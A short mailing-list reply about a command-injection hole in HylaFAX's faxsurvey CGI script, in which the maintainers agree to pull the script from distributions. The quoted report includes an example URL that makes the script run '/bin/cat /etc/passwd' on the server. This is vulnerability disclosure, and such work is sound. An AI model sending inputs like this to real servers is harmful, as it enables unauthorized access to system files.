Re: flexfax: Security-Hole in faxsurvey-form

[Carsten Hoeger <choeger@suse.de>]

On Wed, Jul 29, Matthias Apitz wrote:

> > in the faxsurvey-cgi that comes with HylaFAX is a security-hole.
> > 
> > If you try this:
> > 
> > http://www.anyhost-with-this-cgi.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
> > 
> > 
> > You can e.g. read the host's passwd...
> > 
> > 
> > If this survey is from interest, I'll make a bug-fix.
> 
> Until a better solution for collecting the faxsurvey we should
> remove this from the distributiuons;

O.k., I've already done this...

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